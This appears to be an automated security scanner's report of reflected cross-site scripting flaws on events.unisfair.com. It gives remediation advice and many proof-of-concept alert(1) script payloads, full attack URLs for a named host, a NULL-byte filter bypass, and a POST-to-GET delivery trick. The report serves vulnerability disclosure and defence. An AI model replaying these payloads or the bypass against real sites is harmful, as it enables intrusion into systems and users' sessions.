Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a810f<script>alert(1)</script>4a8568dc8b0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload bd2c4<script>alert(1)</script>bbfa54c7a38 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the account request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 123b2"><script>alert(1)</script>ec3a10eadb7 was submitted in the account parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.jsp?eid=556&seid=4596&page=1&language-code=en&country-code=US&logon-form-state=0&login-error=login.nothing_in_username_field&login-return-state=1&account=123b2"><script>alert(1)</script>ec3a10eadb7&account-id=&login-ok=false&showFrames=false&embedded=false&import-stylesheet=true&code=Direct%20Access HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
The value of the account-id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95f5b"><script>alert(1)</script>c90f20bbc77 was submitted in the account-id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.jsp?eid=556&seid=4596&page=1&language-code=en&country-code=US&logon-form-state=0&login-error=login.nothing_in_username_field&login-return-state=1&account=&account-id=95f5b"><script>alert(1)</script>c90f20bbc77&login-ok=false&showFrames=false&embedded=false&import-stylesheet=true&code=Direct%20Access HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
The value of the code request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 789f2"><script>alert(1)</script>b03a2370367 was submitted in the code parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.jsp?eid=556&seid=4596&page=1&language-code=en&country-code=US&logon-form-state=0&login-error=login.nothing_in_username_field&login-return-state=1&account=&account-id=&login-ok=false&showFrames=false&embedded=false&import-stylesheet=true&code=Direct%20Access789f2"><script>alert(1)</script>b03a2370367 HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
The value of the country-code request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc2a4"><script>alert(1)</script>9fd3379e26e was submitted in the country-code parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.jsp?eid=556&seid=4596&page=1&language-code=en&country-code=USfc2a4"><script>alert(1)</script>9fd3379e26e&logon-form-state=0&login-error=login.nothing_in_username_field&login-return-state=1&account=&account-id=&login-ok=false&showFrames=false&embedded=false&import-stylesheet=true&code=Direct%20Access HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
The value of the embedded request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 23e54"><script>alert(1)</script>c3cc8e381a6 was submitted in the embedded parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.jsp?eid=556&seid=4596&page=1&language-code=en&country-code=US&logon-form-state=0&login-error=login.nothing_in_username_field&login-return-state=1&account=&account-id=&login-ok=false&showFrames=false&embedded=false23e54"><script>alert(1)</script>c3cc8e381a6&import-stylesheet=true&code=Direct%20Access HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
Response
HTTP/1.1 200 OK Date: Mon, 08 Aug 2011 16:28:17 GMT Server: Microsoft-IIS/6.0 P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" Web-server-name: 150 ETag: Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=UTF-8 Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: code_ibm=Direct Access; path=/ Connection: Keep-Alive Content-Length: 28413
The value of the import-stylesheet request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1a28"><script>alert(1)</script>e96ab103a1e was submitted in the import-stylesheet parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.jsp?eid=556&seid=4596&page=1&language-code=en&country-code=US&logon-form-state=0&login-error=login.nothing_in_username_field&login-return-state=1&account=&account-id=&login-ok=false&showFrames=false&embedded=false&import-stylesheet=truec1a28"><script>alert(1)</script>e96ab103a1e&code=Direct%20Access HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
The value of the language-code request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d8c7"><script>alert(1)</script>66590bdc46 was submitted in the language-code parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.jsp?eid=556&seid=4596&page=1&language-code=en3d8c7"><script>alert(1)</script>66590bdc46&country-code=US&logon-form-state=0&login-error=login.nothing_in_username_field&login-return-state=1&account=&account-id=&login-ok=false&showFrames=false&embedded=false&import-stylesheet=true&code=Direct%20Access HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
The value of the login-error request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28a80"><script>alert(1)</script>2e9eef4c154 was submitted in the login-error parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.jsp?eid=556&seid=4596&page=1&language-code=en&country-code=US&logon-form-state=0&login-error=login.nothing_in_username_field28a80"><script>alert(1)</script>2e9eef4c154&login-return-state=1&account=&account-id=&login-ok=false&showFrames=false&embedded=false&import-stylesheet=true&code=Direct%20Access HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
The value of the login-ok request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 580a4"><script>alert(1)</script>bd8445b40f6 was submitted in the login-ok parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.jsp?eid=556&seid=4596&page=1&language-code=en&country-code=US&logon-form-state=0&login-error=login.nothing_in_username_field&login-return-state=1&account=&account-id=&login-ok=false580a4"><script>alert(1)</script>bd8445b40f6&showFrames=false&embedded=false&import-stylesheet=true&code=Direct%20Access HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
1.12. https://events.unisfair.com/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://events.unisfair.com
Path:
/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6920d"><script>alert(1)</script>a772ae5b0ea was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the page request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b93a4"><script>alert(1)</script>32738599812 was submitted in the page parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /index.jsp?eid=556&seid=4596&page=1b93a4"><script>alert(1)</script>32738599812&language-code=en&country-code=US&logon-form-state=0&login-error=login.nothing_in_username_field&login-return-state=1&account=&account-id=&login-ok=false&showFrames=false&embedded=false&import-stylesheet=true&code=Direct%20Access HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
The value of the showFrames request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf318"><script>alert(1)</script>93d558168fe was submitted in the showFrames parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.jsp?eid=556&seid=4596&page=1&language-code=en&country-code=US&logon-form-state=0&login-error=login.nothing_in_username_field&login-return-state=1&account=&account-id=&login-ok=false&showFrames=falsebf318"><script>alert(1)</script>93d558168fe&embedded=false&import-stylesheet=true&code=Direct%20Access HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
Response
HTTP/1.1 200 OK Date: Mon, 08 Aug 2011 16:28:16 GMT Server: Microsoft-IIS/6.0 P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" Web-server-name: 160 ETag: Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=UTF-8 Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: code_ibm=Direct Access; path=/ Connection: Keep-Alive Content-Length: 28413
The value of the account request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 802d2"><script>alert(1)</script>9a2f5a39e7239fffc was submitted in the account parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /log?eid=556&seid=4596&lc=en&cc=US&logon-form-state=1&account-id=&language-code=en&country-code=US&eid=556&seid=4596&showFrames=false&event-template=true&page=1&import-stylesheet=true&embedded=false&account=802d2"><script>alert(1)</script>9a2f5a39e7239fffc&password= HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
The value of the country-code request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4799b"><script>alert(1)</script>6f4137358f678d375 was submitted in the country-code parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /log?eid=556&seid=4596&lc=en&cc=US&logon-form-state=1&account-id=&language-code=en&country-code=US4799b"><script>alert(1)</script>6f4137358f678d375&eid=556&seid=4596&showFrames=false&event-template=true&page=1&import-stylesheet=true&embedded=false&account=&password= HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
Response (redirected)
HTTP/1.1 200 OK Date: Mon, 08 Aug 2011 16:28:13 GMT Server: Microsoft-IIS/6.0 P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" Web-server-name: 150 ETag: Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=UTF-8 Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: code_ibm=Direct Access; path=/ Connection: Keep-Alive Content-Length: 27772
The value of the embedded request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a82d"><script>alert(1)</script>973069d72dd963951 was submitted in the embedded parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /log?eid=556&seid=4596&lc=en&cc=US&logon-form-state=1&account-id=&language-code=en&country-code=US&eid=556&seid=4596&showFrames=false&event-template=true&page=1&import-stylesheet=true&embedded=false2a82d"><script>alert(1)</script>973069d72dd963951&account=&password= HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
The value of the language-code request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6c62"><script>alert(1)</script>ee90779ac62df0658 was submitted in the language-code parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /log?eid=556&seid=4596&lc=en&cc=US&logon-form-state=1&account-id=&language-code=enf6c62"><script>alert(1)</script>ee90779ac62df0658&country-code=US&eid=556&seid=4596&showFrames=false&event-template=true&page=1&import-stylesheet=true&embedded=false&account=&password= HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
Response (redirected)
HTTP/1.1 200 OK Date: Mon, 08 Aug 2011 16:28:10 GMT Server: Microsoft-IIS/6.0 P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" Web-server-name: 150 ETag: Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=UTF-8 Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: code_ibm=Direct Access; path=/ Connection: Keep-Alive Content-Length: 27740
The value of the showFrames request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebf6f"><script>alert(1)</script>1a74333450599ada7 was submitted in the showFrames parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Request
GET /log?eid=556&seid=4596&lc=en&cc=US&logon-form-state=1&account-id=&language-code=en&country-code=US&eid=556&seid=4596&showFrames=falseebf6f"><script>alert(1)</script>1a74333450599ada7&event-template=true&page=1&import-stylesheet=true&embedded=false&account=&password= HTTP/1.1 Host: events.unisfair.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://events.unisfair.com/index.jsp?seid=4596&eid=556&6920d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea772ae5b0ea=1
Response (redirected)
HTTP/1.1 200 OK Date: Mon, 08 Aug 2011 16:28:16 GMT Server: Microsoft-IIS/6.0 P3P: policyref=http://events.unisfair.com/w3c/p3p.xml,CP="CAO CURa ADMa DEVa TAIa OUR NOR BUS COM NAV INT" Web-server-name: 160 ETag: Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=UTF-8 Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: code_ibm=Direct Access; path=/ Connection: Keep-Alive Content-Length: 28557
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 3fd82<script>alert(1)</script>f125e1212cb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 754a0<script>alert(1)</script>ff56caef9b6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 70165<script>alert(1)</script>743e56b6035 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 9d5a0<script>alert(1)</script>77dde7ec930 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload a6eb6<script>alert(1)</script>887f74d3fd1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 32f3a<script>alert(1)</script>fbf854caa1e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 2698a<script>alert(1)</script>cd761c2a812 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 77265<script>alert(1)</script>732e78d5a57 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload f5643<script>alert(1)</script>66dfac61005 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload ef189<script>alert(1)</script>87d982bdc53 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload fe68a<script>alert(1)</script>19bd1fc9a04 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload f7f14<script>alert(1)</script>0ef461346b1 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 161fe<script>alert(1)</script>b7874585708 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 343ab<script>alert(1)</script>367b4832929 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload a4124<script>alert(1)</script>b7e1d2ccd41 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 4f586<script>alert(1)</script>7d82d9caaef was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload ce4e1<script>alert(1)</script>4356a669a91 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
